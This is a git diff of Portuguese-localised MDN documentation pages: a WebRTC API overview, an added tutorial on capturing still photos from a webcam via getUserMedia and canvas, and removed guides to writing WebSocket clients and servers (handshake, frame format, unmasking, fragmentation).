{{domxref("RTCIdentityErrorEvent")}}
+
Representa um erro associado ao provedor de identidade (idP). Isso geralmente é para um {{domxref("RTCPeerConnection")}} . Dois eventos são enviados com este tipo: {{event("idpassertionerror")}} e {{event("idpvalidationerror")}} .
+
{{domxref("RTCCertificate")}}
+
Representa um certificado que um {{domxref("RTCPeerConnection")}} usa para autenticar.
+
+ +

Telefonia

+ +

Essas interfaces estão relacionadas à interatividade com redes telefônicas de comutação pública (PTSNs).

+ +
+
{{domxref("RTCDTMFSender")}}
+
Gerencia a codificação e a transmissão da sinalização multi-frequência de dois tons (DTMF) para um {{domxref("RTCPeerConnection")}}.
+
{{domxref("RTCDTMFToneChangeEvent")}}
+
Indica uma ocorrência de uma multi-frequência de dois tons (DTMF). Este evento não faz bolha (bubble) (exceto quando indicado de outra forma) e não é cancelável (exceto quando indicado de outra forma).
+
+ +

Outros

+ +
+
{{domxref("RTCIceServer")}}
+
Define como ligar a um único servidor de ICE (tais como um servidor STUN ou TURN).
+
+ +

 

+ +

Guias

+ +
+
Introduction to WebRTC protocols
+
This article introduces the protocols on top of which the WebRTC API is built.
+
WebRTC connectivity
+
A guide to how WebRTC connections work and how the various protocols and interfaces can be used together to build powerful communication apps.
+
Lifetime of a WebRTC session
+
WebRTC lets you build peer-to-peer communication of arbitrary data, audio, or video—or any combination thereof—into a browser application. In this article, we'll look at the lifetime of a WebRTC session, from establishing the connection all the way through closing the connection when it's no longer needed.
+
Signaling and two-way video calling
+
A tutorial and example which turbs a WebSocket-based chat system created for a previous example and adds support for opening video calls among participants. The chat server's WebSocket connection is used for WebRTC signaling.
+
Using WebRTC data channels
+
This guide covers how you can use a peer connection and an associated {{domxref("RTCDataChannel")}} to exchange arbitrary data between two peers.
+
Using DTMF with WebRTC
+
WebRTC's support for interacting with gateways that link to old-school telephone systems includes support for sending DTMF tones using the {{domxref("RTCDTMFSender")}} interface. This guide shows how to do so.
+
+ +

Tutoriais

+ +
+
Improving compatibility using WebRTC adapter.js
+
The WebRTC organization provides on GitHub the WebRTC adapter to work around compatibility issues in different browsers' WebRTC implementations. The adapter is a JavaScript shim which lets your code to be written to the specification so that it will "just work" in all browsers with WebRTC support.
+
Taking still photos with WebRTC
+
This article shows how to use WebRTC to access the camera on a computer or mobile phone with WebRTC support and take a photo with it.
+
A simple RTCDataChannel sample
+
The {{domxref("RTCDataChannel")}} interface is a feature which lets you open a channel between two peers over which you may send and receive arbitrary data. The API is intentionally similar to the WebSocket API, so that the same programming model can be used for each.
+
+ +

Recursos

+ +

Protocolos

+ +

WebRTC-proper protocols

+ + + + + + + +

Especificações

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
EspecificaçãoEstadoComentário
{{SpecName('WebRTC 1.0')}}{{Spec2('WebRTC 1.0')}}A definição inicial da API do WebRTC.
{{SpecName('Media Capture')}}{{Spec2('Media Capture')}}A definição inicial do objeto que transmite o fluxo de conteúdo de mídia.
{{SpecName('Media Capture DOM Elements')}}{{Spec2('Media Capture DOM Elements')}}A definição inicial sobre como obter fluxo de conteúdo de Elementos DOM
+ +

Em adição a estas especificações que definem a API necessária para usar o WebRTC, existem vários protocolos, listados em recursos.

+ + + + + +
+ + + + + +
diff --git a/files/pt-pt/web/api/webrtc_api/taking_still_photos/index.html b/files/pt-pt/web/api/webrtc_api/taking_still_photos/index.html new file mode 100644 index 0000000000..203ebfab5b --- /dev/null +++ b/files/pt-pt/web/api/webrtc_api/taking_still_photos/index.html @@ -0,0 +1,222 @@ +--- +title: Tirar fotografias com a câmara da Web +slug: Web/API/API_WebRTC/Tirar_fotografias +tags: + - API + - Avançado + - Código amostra + - Exemplo + - Vídeo(2) + - WebRTC + - cãmara da Web +translation_of: Web/API/WebRTC_API/Taking_still_photos +--- +

{{WebRTCSidebar}}

+ +

This article shows how to use WebRTC to access the camera on a computer or mobile phone with WebRTC support and take a photo with it. Try this sample then read on to learn how it works.

+ +

You can also jump straight to the code on Github if you like.

+ +

The HTML markup

+ +

Our HTML interface has two main operational sections: the stream and capture panel and the presentation panel. Each of these is presented side-by-side in its own {{HTMLElement("div")}} to facilitate styling and control.

+ +

The first panel on the left contains two components: a {{HTMLElement("video")}} element, which will receive the stream from WebRTC, and a {{HTMLElement("button")}} the user clicks to capture a video frame.

+ +
  <div class="camera">
+    <video id="video">Video stream not available.</video>
+    <button id="startbutton">Take photo</button>
+  </div>
+ +

This is straightforward, and we'll see how it ties together when we get into the JavaScript code.

+ +

Next, we have a {{HTMLElement("canvas")}} element into which the captured frames are stored, potentially manipulated in some way, and then converted into an output image file. This canvas is kept hidden by styling the canvas with {{cssxref("display")}}:none, to avoid cluttering up the screen — the user does not need to see this intermediate stage.

+ +

We also have an {{HTMLElement("img")}} element into which we will draw the image — this is the final display shown to the user.

+ +
  <canvas id="canvas">
+  </canvas>
+  <div class="output">
+    <img id="photo" alt="The screen capture will appear in this box.">
+  </div>
+ +

That's all of the relevant HTML. The rest is just some page layout fluff and a bit of text offering a link back to this page.

+ +

O código de JavaScript

+ +

Now let's take a look at the JavaScript code. We'll break it up into a few bite-sized pieces to make it easier to explain.

+ +

Initialização

+ +

We start by wrapping the whole script in an anonymous function to avoid global variables, then setting up various variables we'll be using.

+ +
(function() {
+  var width = 320;    // We will scale the photo width to this
+  var height = 0;     // This will be computed based on the input stream
+
+  var streaming = false;
+
+  var video = null;
+  var canvas = null;
+  var photo = null;
+  var startbutton = null;
+ +

Those variables are:

+ +
+
largura
+
Whatever size the incoming video is, we're going to scale the resulting image to be 320 pixels wide.
+
altura
+
The output height of the image will be computed given the width and the aspect ratio of the stream.
+
transmissão
+
Indicates whether or not there is currently an active stream of video running.
+
vídeo
+
This will be a reference to the {{HTMLElement("video")}} element after the page is done loading.
+
canvas
+
This will be a reference to the {{HTMLElement("canvas")}} element after the page is done loading.
+
foto
+
This will be a reference to the {{HTMLElement("img")}} element after the page is done loading.
+
startbutton
+
This will be a reference to the {{HTMLElement("button")}} element that's used to trigger capture. We'll get that after the page is done loading.
+
+ +

The startup() function

+ +

The startup() function is run when the page has finished loading, courtesy of {{domxref("window.addEventListener()")}}. This function's job is to request access to the user's webcam, initialize the output {{HTMLElement("img")}} to a default state, and to establish the event listeners needed to receive each frame of video from the camera and react when the button is clicked to capture an image.

+ +

Getting element references

+ +

First, we grab references to the major elements we need to be able to access.

+ +
  function startup() {
+    video = document.getElementById('video');
+    canvas = document.getElementById('canvas');
+    photo = document.getElementById('photo');
+    startbutton = document.getElementById('startbutton');
+ +

Get the media stream

+ +

The next task is to get the media stream:

+ +
    navigator.mediaDevices.getUserMedia({ video: true, audio: false })
+    .then(function(stream) {
+        video.srcObject = stream;
+        video.play();
+    })
+    .catch(function(err) {
+        console.log("An error occured! " + err);
+    });
+
+ +

Here, we're calling {{domxref("MediaDevices.getUserMedia()")}} and requesting a video stream (without audio). It returns a promise which we attach success and failure callbacks to.

+ +

The success callback receives a stream object as input. It the {{HTMLElement("video")}} element's source to our new stream.

+ +

Once the stream is linked to the <video> element, we start it playing by calling HTMLMediaElement.play().

+ +

The error callback is called if opening the stream doesn't work. This will happen for example if there's no compatible camera connected, or the user denied access.

+ +

Listen for the video to start playing

+ +

After calling HTMLMediaElement.play() on the {{HTMLElement("video")}}, there's a (hopefully brief) period of time that elapses before the stream of video begins to flow. To avoid blocking until that happens, we add an event listener to video, canplay, which is delivered when the video playback actually begins. At that point, all the properties in the video object have been configured based on the stream's format.

+ +
    video.addEventListener('canplay', function(ev){
+      if (!streaming) {
+        height = video.videoHeight / (video.videoWidth/width);
+
+        video.setAttribute('width', width);
+        video.setAttribute('height', height);
+        canvas.setAttribute('width', width);
+        canvas.setAttribute('height', height);
+        streaming = true;
+      }
+    }, false);
+ +

This callback does nothing unless it's the first time it's been called; this is tested by looking at the value of our streaming variable, which is false the first time this method is run.

+ +

If this is indeed the first run, we set the video's height based on the size difference between the video's actual size, video.videoWidth, and the width at which we're going to render it, width.

+ +

Finally, the width and height of both the video and the canvas are set to match each other by calling {{domxref("Element.setAttribute()")}} on each of the two properties on each element, and setting widths and heights as appropriate. Finally, we set the streaming variable to true to prevent us from inadvertently running this setup code again.

+ +

Handle clicks on the button

+ +

To capture a still photo each time the user clicks the startbutton, we need to add an event listener to the button, to be called when the click event is issued:

+ +
    startbutton.addEventListener('click', function(ev){
+      takepicture();
+      ev.preventDefault();
+    }, false);
+ +

This method is simple enough: it just calls our takepicture() function, defined below in the section {{anch("Capturing a frame from the stream")}}, then calls {{domxref("Event.preventDefault()")}} on the received event to prevent the click from being handled more than once.

+ +

Wrapping up the startup() method

+ +

There are only two more lines of code in the startup() method:

+ +
    clearphoto();
+  }
+ +

This is where we call the clearphoto() method we'll describe below in the section {{anch("Clearing the photo box")}}.

+ +

Clearing the photo box

+ +

Clearing the photo box involves creating an image, then converting it into a format usable by the {{HTMLElement("img")}} element that displays the most recently captured frame. That code looks like this:

+ +
  function clearphoto() {
+    var context = canvas.getContext('2d');
+    context.fillStyle = "#AAA";
+    context.fillRect(0, 0, canvas.width, canvas.height);
+
+    var data = canvas.toDataURL('image/png');
+    photo.setAttribute('src', data);
+  }
+ +

We start by getting a reference to the hidden {{HTMLElement("canvas")}} element that we use for offscreen rendering.  Next we set the fillStyle to #AAA (a fairly light grey), and fill the entire canvas with that color by calling {{domxref("CanvasRenderingContext2D.fillRect()","fillRect()")}}.

+ +

Last in this function, we convert the canvas into a PNG image and call {{domxref("Element.setAttribute", "photo.setAttribute()")}} to make our captured still box display the image.

+ +

Capturing a frame from the stream

+ +

There's one last function to define, and it's the point to the entire exercise: the takepicture() function, whose job it is to capture the currently displayed video frame, convert it into a PNG file, and display it in the captured frame box. The code looks like this:

+ +
  function takepicture() {
+    var context = canvas.getContext('2d');
+    if (width && height) {
+      canvas.width = width;
+      canvas.height = height;
+      context.drawImage(video, 0, 0, width, height);
+
+      var data = canvas.toDataURL('image/png');
+      photo.setAttribute('src', data);
+    } else {
+      clearphoto();
+    }
+  }
+ +

As is the case any time we need to work with the contents of a canvas, we start by getting the {{domxref("CanvasRenderingContext2D","2D drawing context")}} for the hidden canvas.

+ +

Then, if the width and height are both non-zero (meaning that there's at least potentially valid image data), we set the width and height of the canvas to match that of the captured frame, then call {{domxref("CanvasRenderingContext2D.drawImage()", "drawImage()")}} to draw the current frame of the video into the context, filling the entire canvas with the frame image.

+ +
+

Note: This takes advantage of the fact that the {{domxref("HTMLVideoElement")}} interface looks like a {{domxref("HTMLImageElement")}} to any API that accepts an HTMLImageElement as a parameter, with the video's current frame presented as the image's contents.

+
+ +

Once the canvas contains the captured image, we convert it to PNG format by calling {{domxref("HTMLCanvasElement.toDataURL()")}} on it; finally, we call {{domxref("Element.setAttribute", "photo.setAttribute()")}} to make our captured still box display the image.

+ +

If there isn't a valid image available (that is, the width and height are both 0), we clear the contents of the captured frame box by calling clearphoto().

+ +

Fun with filters

+ +

Since we're capturing images from the user's webcam by grabbing frames from a {{HTMLElement("video")}} element, we can very easily apply filters and fun effects to the video. As it turns out, any CSS filters you apply to the element using the {{cssxref("filter")}} property affect the captured photo. These filters can range from the simple (making the image black and white)  to the extreme (gaussian blurs and hue rotation).

+ +

You can play with this effect using, for example, the Firefox developer tools' style editor; see Edit CSS filters for details on how to do so.

+ +

Consultar também

+ + diff --git "a/files/pt-pt/web/api/websockets_api/escrever_aplica\303\247\303\243o_cliente_de_websocket/index.html" "b/files/pt-pt/web/api/websockets_api/escrever_aplica\303\247\303\243o_cliente_de_websocket/index.html" deleted file mode 100644 index c66e10ceaf..0000000000 --- "a/files/pt-pt/web/api/websockets_api/escrever_aplica\303\247\303\243o_cliente_de_websocket/index.html" +++ /dev/null @@ -1,180 +0,0 @@ ---- -title: Escrever aplicação cliente de WebSocket -slug: Web/API/WebSockets_API/Escrever_aplicação_cliente_de_WebSocket -tags: - - Client - - Exemplo - - Guía - - Networking - - Web Sockets API - - WebSocket - - WebSocket API - - WebSockets -translation_of: Web/API/WebSockets_API/Writing_WebSocket_client_applications ---- -
{{APIRef("Websockets API")}}
- -

WebSocket client applications use the WebSocket API to communicate with WebSocket servers using the WebSocket protocol.

- -

{{AvailableInWorkers}}

- -
-

Note: The example snippets in this article are taken from our WebSocket chat client/server sample. See the code, then try out the example for yourself.

-
- -

Creating a WebSocket object

- -

In order to communicate using the WebSocket protocol, you need to create a {{domxref("WebSocket")}} object; this will automatically attempt to open the connection to the server.

- -

The WebSocket constructor accepts one required and one optional parameter:

- -
webSocket = new WebSocket(url, protocols);
-
- -
-
url
-
The URL to which to connect; this should be the URL to which the WebSocket server will respond. This should use the URL scheme wss://, although some software may allow you to use the insecure ws:// for local connections.
-
protocols {{ optional_inline() }}
-
Either a single protocol string or an array of protocol strings. These strings are used to indicate sub-protocols, so that a single server can implement multiple WebSocket sub-protocols (for example, you might want one server to be able to handle different types of interactions depending on the specified protocol). If you don't specify a protocol string, an empty string is assumed.
-
- -

The constructor will throw a SecurityError if the destination doesn't allow access. This may happen if you attempt to use an insecure connection (most {{Glossary("user agent", "user agents")}} now require a secure link for all WebSocket connections unless they're on the same device or possibly on the same network).

- -

Connection errors

- -

If an error occurs while attempting to connect, first a simple event with the name error is sent to the {{domxref("WebSocket")}} object (thereby invoking its {{domxref("WebSocket.onerror", "onerror")}} handler), and then the {{domxref("CloseEvent")}} is sent to the WebSocket object (thereby invoking its {{domxref("WebSocket.onclose", "onclose")}} handler) to indicate the reason for the connection's closing.

- -

The browser may also output to its console a more descriptive error message as well as a closing code as defined in RFC 6455, Section 7.4 through the {{domxref("CloseEvent")}}.

- -

Examples

- -

This simple example creates a new WebSocket, connecting to the server at wss://www.example.com/socketserver. A custom protocol of "protocolOne" is named in the request for the socket in this example, though this can be omitted.

- -
var exampleSocket = new WebSocket("wss://www.example.com/socketserver", "protocolOne");
-
- -

On return, {{domxref("WebSocket.readyState", "exampleSocket.readyState")}} is CONNECTING. The readyState will become OPEN once the connection is ready to transfer data.

- -

If you want to open a connection and are flexible about the protocols you support, you can specify an array of protocols:

- -
var exampleSocket = new WebSocket("wss://www.example.com/socketserver", ["protocolOne", "protocolTwo"]);
-
- -

Once the connection is established (that is, readyState is OPEN), {{domxref("WebSocket.protocol", "exampleSocket.protocol")}} will tell you which protocol the server selected.

- -

Establishing a WebSocket relies on the HTTP Upgrade mechanism, so the request for the protocol upgrade is implicit when we address the web server as ws://www.example.com or wss://www.example.com.

- -

Sending data to the server

- -

Once you've opened your connection, you can begin transmitting data to the server. To do this, simply call the WebSocket object's {{domxref("WebSocket.send", "send()")}} method for each message you want to send:

- -
exampleSocket.send("Here's some text that the server is urgently awaiting!");
-
- -

You can send data as a string, {{ domxref("Blob") }}, or {{jsxref("ArrayBuffer")}}.

- -

As establishing a connection is asynchronous and prone to failure there is no guarantee that calling the send() method immediately after creating a WebSocket object will be successful. We can at least be sure that attempting to send data only takes place once a connection is established by defining an {{domxref("WebSocket.onopen", "onopen")}} event handler to do the work:

- -
exampleSocket.onopen = function (event) {
-  exampleSocket.send("Here's some text that the server is urgently awaiting!");
-};
-
- -

Using JSON to transmit objects

- -

One handy thing you can do is use {{glossary("JSON")}} to send reasonably complex data to the server. For example, a chat program can interact with a server using a protocol implemented using packets of JSON-encapsulated data:

- -
// Send text to all users through the server
-function sendText() {
-  // Construct a msg object containing the data the server needs to process the message from the chat client.
-  var msg = {
-    type: "message",
-    text: document.getElementById("text").value,
-    id:   clientID,
-    date: Date.now()
-  };
-
-  // Send the msg object as a JSON-formatted string.
-  exampleSocket.send(JSON.stringify(msg));
-
-  // Blank the text input element, ready to receive the next line of text from the user.
-  document.getElementById("text").value = "";
-}
-
- -

Receiving messages from the server

- -

WebSockets is an event-driven API; when messages are received, a message event is sent to the WebSocket object. To handle it, add an event listener for the message event, or use the {{domxref("WebSocket.onmessage", "onmessage")}} event handler. To begin listening for incoming data, you can do something like this:

- -
exampleSocket.onmessage = function (event) {
-  console.log(event.data);
-}
-
- -

Receiving and interpreting JSON objects

- -

Let's consider the chat client application first alluded to in {{ anch("Using JSON to transmit objects") }}. There are assorted types of data packets the client might receive, such as:

- - - -

The code that interprets these incoming messages might look like this:

- -
exampleSocket.onmessage = function(event) {
-  var f = document.getElementById("chatbox").contentDocument;
-  var text = "";
-  var msg = JSON.parse(event.data);
-  var time = new Date(msg.date);
-  var timeStr = time.toLocaleTimeString();
-
-  switch(msg.type) {
-    case "id":
-      clientID = msg.id;
-      setUsername();
-      break;
-    case "username":
-      text = "<b>User <em>" + msg.name + "</em> signed in at " + timeStr + "</b><br>";
-      break;
-    case "message":
-      text = "(" + timeStr + ") <b>" + msg.name + "</b>: " + msg.text + "<br>";
-      break;
-    case "rejectusername":
-      text = "<b>Your username has been set to <em>" + msg.name + "</em> because the name you chose is in use.</b><br>"
-      break;
-    case "userlist":
-      var ul = "";
-      for (i=0; i < msg.users.length; i++) {
-        ul += msg.users[i] + "<br>";
-      }
-      document.getElementById("userlistbox").innerHTML = ul;
-      break;
-  }
-
-  if (text.length) {
-    f.write(text);
-    document.getElementById("chatbox").contentWindow.scrollByPages(1);
-  }
-};
-
- -

Here we use {{jsxref("JSON.parse()")}} to convert the JSON object back into the original object, then examine and act upon its contents.

- -

Text data format

- -

Text received over a WebSocket connection is in UTF-8 format.

- -

Closing the connection

- -

When you've finished using the WebSocket connection, call the WebSocket method {{domxref("WebSocket.close", "close()")}}:

- -
exampleSocket.close();
-
- -

It may be helpful to examine the socket's {{domxref("WebSocket.bufferedAmount", "bufferedAmount")}} attribute before attempting to close the connection to determine if any data has yet to be transmitted on the network. If this value isn't 0, there's pending data still, so you may wish to wait before closing the connection.

- -

Security considerations

- -

WebSockets should not be used in a mixed content environment; that is, you shouldn't open a non-secure WebSocket connection from a page loaded using HTTPS or vice-versa. Most browsers now only allow secure WebSocket connections, and no longer support using them in insecure contexts.

diff --git a/files/pt-pt/web/api/websockets_api/escrever_servidores_de_websocket/index.html b/files/pt-pt/web/api/websockets_api/escrever_servidores_de_websocket/index.html deleted file mode 100644 index 7f3b996573..0000000000 --- a/files/pt-pt/web/api/websockets_api/escrever_servidores_de_websocket/index.html +++ /dev/null @@ -1,257 +0,0 @@ ---- -title: Escrever servidores de WebSocket -slug: Web/API/WebSockets_API/Escrever_servidores_de_WebSocket -tags: - - Guía - - HTML5 - - Tutorial - - WebSocket - - WebSocket API - - WebSockets -translation_of: Web/API/WebSockets_API/Writing_WebSocket_servers ---- -
{{APIRef("Websockets API")}}
- -

Um servidor WebSocket não é nada mais que uma aplicação que escuta qualquer porta de um servidor TCP que possui um protocolo específico. A tarefa de criar um servidor personalizado é uma tarefa complexa para a maioria; no entanto, é simples implementar um servidor simples de WebSocket numa plataforma á sua escolha.

- -

Um servidor WebSocket pode ser escrito em qualquer linguagem de servidor que suporte Berkeley sockets, como C(++), Python, PHP, ou server-side JavaScript. Este tutorial não se foca em nenhuma linguagem em específico, mas serve como guia para facilitar o desenvolver do seu próprio server.

- -

A WebSocket server can be written in any server-side programming language that is capable of Berkeley sockets, such as C(++), Python, PHP, or server-side JavaScript. This is not a tutorial in any specific language, but serves as a guide to facilitate writing your own server.

- -

This article assumes you're already familiar with how {{Glossary("HTTP")}} works, and that you have a moderate level of programming experience. Depending on language support, knowledge of TCP sockets may be required. The scope of this guide is to present the minimum knowledge you need to write a WebSocket server.

- -
-

Note: Read the latest official WebSockets specification, RFC 6455. Sections 1 and 4-7 are especially interesting to server implementors. Section 10 discusses security and you should definitely peruse it before exposing your server.

-
- -

A WebSocket server is explained on a very low level here. WebSocket servers are often separate and specialized servers (for load-balancing or other practical reasons), so you will often use a reverse proxy (such as a regular HTTP server) to detect WebSocket handshakes, pre-process them, and send those clients to a real WebSocket server. This means that you don't have to bloat your server code with cookie and authentication handlers (for example).

- -

The WebSocket handshake

- -

First, the server must listen for incoming socket connections using a standard TCP socket. Depending on your platform, this may be handled for you automatically. For example, let's assume that your server is listening on example.com, port 8000, and your socket server responds to {{HTTPMethod("GET")}} requests at example.com/chat.

- -
-

Warning: The server may listen on any port it chooses, but if it chooses any port other than 80 or 443, it may have problems with firewalls and/or proxies. Browsers generally require a secure connection for WebSockets, although they may offer an exception for local devices.

-
- -

The handshake is the "Web" in WebSockets. It's the bridge from HTTP to WebSockets. In the handshake, details of the connection are negotiated, and either party can back out before completion if the terms are unfavorable. The server must be careful to understand everything the client asks for, otherwise security issues can occur.

- -
-

Tip: The request-uri (/chat here) has no defined meaning in the spec. So, many people  use it to let one server handle multiple WebSocket applications. For example, example.com/chat could invoke a multiuser chat app, while /game on the same server might invoke a multiplayer game.

-
- -

Client handshake request

- -

Even though you're building a server, a client still has to start the WebSocket handshake process by contacting the server and requesting a WebSocket connection. So, you must know how to interpret the client's request. The client will send a pretty standard HTTP request with headers that looks like this (the HTTP version must be 1.1 or greater, and the method must be GET):

- -
GET /chat HTTP/1.1
-Host: example.com:8000
-Upgrade: websocket
-Connection: Upgrade
-Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
-Sec-WebSocket-Version: 13
-
-
- -

The client can solicit extensions and/or subprotocols here; see Miscellaneous for details. Also, common headers like {{HTTPHeader("User-Agent")}}, {{HTTPHeader("Referer")}}, {{HTTPHeader("Cookie")}}, or authentication headers might be there as well. Do whatever you want with those; they don't directly pertain to the WebSocket. It's also safe to ignore them. In many common setups, a reverse proxy has already dealt with them.

- -
-

Tip: All browsers send an Origin header. You can use this header for security (checking for same origin, automatically allowing or denying, etc.) and send a 403 Forbidden if you don't like what you see. However, be warned that non-browser agents can send a faked Origin. Most applications reject requests without this header.

-
- -

If any header is not understood or has an incorrect value, the server should send a {{HTTPStatus("400")}} ("Bad Request")} response and immediately close the socket. As usual, it may also give the reason why the handshake failed in the HTTP response body, but the message may never be displayed (browsers do not display it). If the server doesn't understand that version of WebSockets, it should send a {{HTTPHeader("Sec-WebSocket-Version")}} header back that contains the version(s) it does understand.  In the example above, it indicates version 13 of the WebSocket protocol.

- -

The most interesting header here is {{HTTPHeader("Sec-WebSocket-Key")}}. Let's look at that next.

- -
-

Note: Regular HTTP status codes can be used only before the handshake. After the handshake succeeds, you have to use a different set of codes (defined in section 7.4 of the spec).

-
- -

Server handshake response

- -

When the server receives the handshake request, it should send back a special response that indicates that the protocol will be changing from HTTP to WebSocket. That header looks something like the following (remember each header line ends with \r\n and put an extra \r\n after the last one to indicate the end of the header):

- -
HTTP/1.1 101 Switching Protocols
-Upgrade: websocket
-Connection: Upgrade
-Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
-
-
- -

Additionally, the server can decide on extension/subprotocol requests here; see Miscellaneous for details. The Sec-WebSocket-Accept header is important in that the server must derive it from the {{HTTPHeader("Sec-WebSocket-Key")}} that the client sent to it. To get it, concatenate the client's Sec-WebSocket-Key and the string "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" together (it's a "magic string"), take the SHA-1 hash of the result, and return the base64 encoding of that hash.

- -
-

Note: This seemingly overcomplicated process exists so that it's obvious to the client whether the server supports WebSockets. This is important because security issues might arise if the server accepts a WebSockets connection but interprets the data as a HTTP request.

-
- -

So if the Key was "dGhlIHNhbXBsZSBub25jZQ==", the Sec-WebSocket-Accept header's value is "s3pPLMBiTxaQ9kYGzzhZRbK+xOo=". Once the server sends these headers, the handshake is complete and you can start swapping data!

- -
-

Note: The server can send other headers like {{HTTPHeader("Set-Cookie")}}, or ask for authentication or redirects via other status codes, before sending the reply handshake.

-
- -

Keeping track of clients

- -

This doesn't directly relate to the WebSocket protocol, but it's worth mentioning here: your server must keep track of clients' sockets so you don't keep handshaking again with clients who have already completed the handshake. The same client IP address can try to connect multiple times. However, the server can deny them if they attempt too many connections in order to save itself from Denial-of-Service attacks.

- -

For example, you might keep a table of usernames or ID numbers along with the corresponding {{domxref("WebSocket")}} and other data that you need to associate with that connection.

- -

Exchanging data frames

- -

Either the client or the server can choose to send a message at any time — that's the magic of WebSockets. However, extracting information from these so-called "frames" of data is a not-so-magical experience. Although all frames follow the same specific format, data going from the client to the server is masked using XOR encryption (with a 32-bit key). Section 5 of the specification describes this in detail.

- -

Format

- -

Each data frame (from the client to the server or vice-versa) follows this same format:

- -
Frame format:
-​​
-      0                   1                   2                   3
-      0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
-     +-+-+-+-+-------+-+-------------+-------------------------------+
-     |F|R|R|R| opcode|M| Payload len |    Extended payload length    |
-     |I|S|S|S|  (4)  |A|     (7)     |             (16/64)           |
-     |N|V|V|V|       |S|             |   (if payload len==126/127)   |
-     | |1|2|3|       |K|             |                               |
-     +-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - +
-     |     Extended payload length continued, if payload len == 127  |
-     + - - - - - - - - - - - - - - - +-------------------------------+
-     |                               |Masking-key, if MASK set to 1  |
-     +-------------------------------+-------------------------------+
-     | Masking-key (continued)       |          Payload Data         |
-     +-------------------------------- - - - - - - - - - - - - - - - +
-     :                     Payload Data continued ...                :
-     + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
-     |                     Payload Data continued ...                |
-     +---------------------------------------------------------------+
- -

The MASK bit tells whether the message is encoded. Messages from the client must be masked, so your server must expect this to be 1. (In fact, section 5.1 of the spec says that your server must disconnect from a client if that client sends an unmasked message.) When sending a frame back to the client, do not mask it and do not set the mask bit. We'll explain masking later. Note: You must mask messages even when using a secure socket. RSV1-3 can be ignored, they are for extensions.

- -

The opcode field defines how to interpret the payload data: 0x0 for continuation, 0x1 for text (which is always encoded in UTF-8), 0x2 for binary, and other so-called "control codes" that will be discussed later. In this version of WebSockets, 0x3 to 0x7 and 0xB to 0xF have no meaning.

- -

The FIN bit tells whether this is the last message in a series. If it's 0, then the server keeps listening for more parts of the message; otherwise, the server should consider the message delivered. More on this later.

- -

Decoding Payload Length

- -

To read the payload data, you must know when to stop reading. That's why the payload length is important to know. Unfortunately, this is somewhat complicated. To read it, follow these steps:

- -
    -
  1. Read bits 9-15 (inclusive) and interpret that as an unsigned integer. If it's 125 or less, then that's the length; you're done. If it's 126, go to step 2. If it's 127, go to step 3.
  2. -
  3. Read the next 16 bits and interpret those as an unsigned integer. You're done.
  4. -
  5. Read the next 64 bits and interpret those as an unsigned integer. (The most significant bit must be 0.) You're done.
  6. -
- -

Reading and Unmasking the Data

- -

If the MASK bit was set (and it should be, for client-to-server messages), read the next 4 octets (32 bits); this is the masking key. Once the payload length and masking key is decoded, you can read that number of bytes from the socket. Let's call the data ENCODED, and the key MASK. To get DECODED, loop through the octets (bytes a.k.a. characters for text data) of ENCODED and XOR the octet with the (i modulo 4)th octet of MASK. In pseudo-code (that happens to be valid JavaScript):

- -
var DECODED = "";
-for (var i = 0; i < ENCODED.length; i++) {
-    DECODED[i] = ENCODED[i] ^ MASK[i % 4];
-}
- -

Now you can figure out what DECODED means depending on your application.

- -

Message Fragmentation

- -

The FIN and opcode fields work together to send a message split up into separate frames.  This is called message fragmentation. Fragmentation is only available on opcodes 0x0 to 0x2.

- -

Recall that the opcode tells what a frame is meant to do. If it's 0x1, the payload is text. If it's 0x2, the payload is binary data. However, if it's 0x0, the frame is a continuation frame; this means the server should concatenate the frame's payload to the last frame it received from that client. Here is a rough sketch, in which a server reacts to a client sending text messages. The first message is sent in a single frame, while the second message is sent across three frames. FIN and opcode details are shown only for the client:

- -
Client: FIN=1, opcode=0x1, msg="hello"
-Server: (process complete message immediately) Hi.
-Client: FIN=0, opcode=0x1, msg="and a"
-Server: (listening, new message containing text started)
-Client: FIN=0, opcode=0x0, msg="happy new"
-Server: (listening, payload concatenated to previous message)
-Client: FIN=1, opcode=0x0, msg="year!"
-Server: (process complete message) Happy new year to you too!
- -

Notice the first frame contains an entire message (has FIN=1 and opcode!=0x0), so the server can process or respond as it sees fit. The second frame sent by the client has a text payload (opcode=0x1), but the entire message has not arrived yet (FIN=0). All remaining parts of that message are sent with continuation frames (opcode=0x0), and the final frame of the message is marked by FIN=1. Section 5.4 of the spec describes message fragmentation.

- -

Pings and Pongs: The Heartbeat of WebSockets

- -

At any point after the handshake, either the client or the server can choose to send a ping to the other party. When the ping is received, the recipient must send back a pong as soon as possible. You can use this to make sure that the client is still connected, for example.

- -

A ping or pong is just a regular frame, but it's a control frame. Pings have an opcode of 0x9, and pongs have an opcode of 0xA. When you get a ping, send back a pong with the exact same Payload Data as the ping (for pings and pongs, the max payload length is 125). You might also get a pong without ever sending a ping; ignore this if it happens.

- -
-

If you have gotten more than one ping before you get the chance to send a pong, you only send one pong.

-
- -

Closing the connection

- -

To close a connection either the client or server can send a control frame with data containing a specified control sequence to begin the closing handshake (detailed in Section 5.5.1). Upon receiving such a frame, the other peer sends a Close frame in response. The first peer then closes the connection. Any further data received after closing of connection is then discarded. 

- -

Miscellaneous

- -
-

WebSocket codes, extensions, subprotocols, etc. are registered at the IANA WebSocket Protocol Registry.

-
- -

WebSocket extensions and subprotocols are negotiated via headers during the handshake. Sometimes extensions and subprotocols very similar, but there is a clear distinction. Extensions control the WebSocket frame and modify the payload, while subprotocols structure the WebSocket payload and never modify anything. Extensions are optional and generalized (like compression); subprotocols are mandatory and localized (like ones for chat and for MMORPG games).

- -

Extensions

- -
-

This section needs expansion. Please edit if you are equipped to do so.

-
- -

Think of an extension as compressing a file before e-mailing it to someone. Whatever you do, you're sending the same data in different forms. The recipient will eventually be able to get the same data as your local copy, but it is sent differently. That's what an extension does. WebSockets defines a protocol and a simple way to send data, but an extension such as compression could allow sending the same data but in a shorter format.

- -
-

Extensions are explained in sections 5.8, 9, 11.3.2, and 11.4 of the spec.

-
- -

TODO

- -

Subprotocols

- -

